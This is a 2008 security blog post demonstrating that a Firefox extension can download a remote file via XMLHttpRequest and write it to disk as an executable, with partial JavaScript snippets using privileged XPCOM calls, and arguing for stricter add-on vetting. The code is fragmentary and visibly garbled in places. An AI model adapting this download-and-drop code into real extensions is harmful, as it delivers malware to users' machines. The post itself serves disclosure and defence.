Wednesday, May 14, 2008

More Firefox Addons ownage - POC

| Armando Romeo |

My research aim was to explore the capabilities of firefox extensions just to see what they can or can't do. I have found out that they are just as powerful as any other executable on your hard drive and since they are javascript running within Firefox environment they are not detected by AV's or addons like Noscript.

Reading past news headlines I have found other researchers interested into this kind of research , so I am not alone.

Once again I didn't want to use any external XPCOM library as mentioned in my previous research . Just plain javascript.

This time we are able to write any kind of file anywhere on the hard drive.

Firefox gives such privileges only to local chrome, that is the extensions you manually install on your browser. This shouldn't work with remote XUL files (hopefully).

The problem here is that people is invited to install a backdoored extension as happened to the vietnamese firefox language pack that has been backdoored with adware and installed on thousands of PC's.

What is worse in this story is not the infection in itself, very possible and easy as demonstrated by my research, but the fact that the infected extension has been given by trusted domain (the official mozilla addons page yes).

While discussing my research with Yash , CTO of, this came up as a mitigating factor. We do believed that Mozilla at least had a an approval process before giving an extension for download on the trusted domain. But Vietnamese hackers managed to demonstrate this is not (always) true.

So let's come to this new proof of concept.
Our aim is to retrieve a file and put it on the local hard drive.

Our file can be an executable. This wants to demonstrate the full access of firefox addons to the local filesystem.

Writing to a file is an easy task :

function savefile() {
try {"UniversalXPConnect");

} catch (e) {
alert("Cannot write to disk");
var file = Components.classes[";1"] .createInstance(Components.interfaces.nsILocalFile);
file.initWithPath( "C:\\test.exe");

file.create( Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420 );

var outputStream = Components.classes[";1"].createInstance( Components.interfaces.nsIFileOutputStream );

outputStream.init( file, 0x04 | 0x08 | 0x20, 3, 0 );

var result = outputStream.write( bytestream, bytestream.length);

Our bytestream variable contains the bytes of the retrieved executable.
This can be obtained simply using XmlHTTPRequest:

function getFile() {

var url="http://localhost/hackerscenter/test.exe";

http=new XMLHttpRequest();


getFile() function is called at startup to make a request for a remote file.
handleRequest() will be our callback function when the request has been fulfilled and a response received (asynchronous call).

When a response is received savefile() wil just write it on local disk.

The most important part of this snippet is the call to"UniversalXPConnect");

That is we ask Mozilla to give us privileges according to the privilege scheme allowed in our context. Since this is a local XUL file, we are allowed to read/write the filesystem.

I didn't want to provide an installable package to keep script kiddies away.
I have not added the code for handling truncation of binary data when the null byte is encountered.


We are able to read write on disk. We are able to keylog typed chars in the Firefox window. We are able to change Firefox preferences. With the use of external loaded libraries it is even possible to spawn shells! This was just a quick survey on the capabilities of addons that brings up the need for strong validation and approval process before they get on trusted domains like the official mozilla addon website.

Free Security Magazines